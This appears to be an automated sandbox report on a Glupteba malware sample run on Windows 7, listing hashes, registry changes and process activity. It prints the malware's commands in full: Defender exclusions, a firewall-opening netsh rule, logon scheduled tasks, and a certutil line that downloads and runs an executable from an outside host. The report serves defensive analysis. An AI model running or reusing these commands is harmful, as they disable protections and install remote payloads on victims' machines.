Analysis
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max time kernel
140s -
max time network
148s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
24-05-2022 19:50
Static task
static1
Behavioral task
behavioral1
Sample
9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe
Resource
win7-20220414-en
General
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Target
9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe
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Size
3.9MB
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MD5
1785d20bbf66ac8afd66138781b5b9e9
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SHA1
a00fac5ec41193251feabd003c8af8beb4a45d40
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SHA256
9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f
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SHA512
95165609140e45d4f4e31170f38eb4964e49742de3ecdd04d6ab3b3dc5e72aada6f76976be025b87a06e8ea7131ef80cb6ad7cf782e1eaaa8c31d8cfcb2afbe8
Malware Config
Signatures
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Glupteba Payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/1932-56-0x00000000014D0000-0x0000000001BC6000-memory.dmp family_glupteba behavioral1/memory/1932-57-0x0000000000400000-0x0000000000C53000-memory.dmp family_glupteba behavioral1/memory/588-63-0x0000000000400000-0x0000000000C53000-memory.dmp family_glupteba behavioral1/memory/1916-70-0x0000000000400000-0x0000000000C53000-memory.dmp family_glupteba -
Executes dropped EXE 3 IoCs
Processes:
csrss.exepatch.exepid process 1916 csrss.exe 1704 patch.exe 1320 -
Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 12 IoCs
Processes:
9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exepatch.exepid process 588 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe 588 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe 884 1704 patch.exe 1704 patch.exe 1704 patch.exe 1704 patch.exe 1704 patch.exe 1320 1704 patch.exe 1704 patch.exe 1704 patch.exe -
Processes:
9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\1ad956336ccb.exe = "0" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\1ad956336ccb\1ad956336ccb = "0" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe = "0" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\AncientDarkness = "0" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1819626980-2277161760-1023733287-1000\Software\Microsoft\Windows\CurrentVersion\Run\AncientDarkness = "\"C:\\Windows\\rss\\csrss.exe\"" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 592 bcdedit.exe -
Drops file in Windows directory 3 IoCs
Processes:
9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exemakecab.exedescription ioc process File opened for modification C:\Windows\rss 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe File created C:\Windows\rss\csrss.exe 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe File created C:\Windows\Logs\CBS\CbsPersist_20220524204517.cab makecab.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1152 schtasks.exe 1376 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-22 = "Cape Verde Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-422 = "Russian Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.execsrss.exepid process 1932 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe 588 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe 1916 csrss.exe 1916 csrss.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.execsrss.exedescription pid process Token: SeDebugPrivilege 1932 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Token: SeImpersonatePrivilege 1932 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe Token: SeSystemEnvironmentPrivilege 1916 csrss.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.execmd.execsrss.exedescription pid process target process PID 588 wrote to memory of 1688 588 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe cmd.exe PID 588 wrote to memory of 1688 588 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe cmd.exe PID 588 wrote to memory of 1688 588 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe cmd.exe PID 588 wrote to memory of 1688 588 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe cmd.exe PID 1688 wrote to memory of 2008 1688 cmd.exe netsh.exe PID 1688 wrote to memory of 2008 1688 cmd.exe netsh.exe PID 1688 wrote to memory of 2008 1688 cmd.exe netsh.exe PID 588 wrote to memory of 1916 588 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe csrss.exe PID 588 wrote to memory of 1916 588 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe csrss.exe PID 588 wrote to memory of 1916 588 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe csrss.exe PID 588 wrote to memory of 1916 588 9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe csrss.exe PID 1916 wrote to memory of 592 1916 csrss.exe bcdedit.exe PID 1916 wrote to memory of 592 1916 csrss.exe bcdedit.exe PID 1916 wrote to memory of 592 1916 csrss.exe bcdedit.exe PID 1916 wrote to memory of 592 1916 csrss.exe bcdedit.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe"C:\Users\Admin\AppData\Local\Temp\9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe"C:\Users\Admin\AppData\Local\Temp\9a97d33edbdf3f58e4e02129fd9a573085de90d4ae1098ffa38fa4d0864eac9f.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220524204517.log C:\Windows\Logs\CBS\CbsPersist_20220524204517.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.9MB
MD51785d20bbf66ac8afd66138781b5b9e9
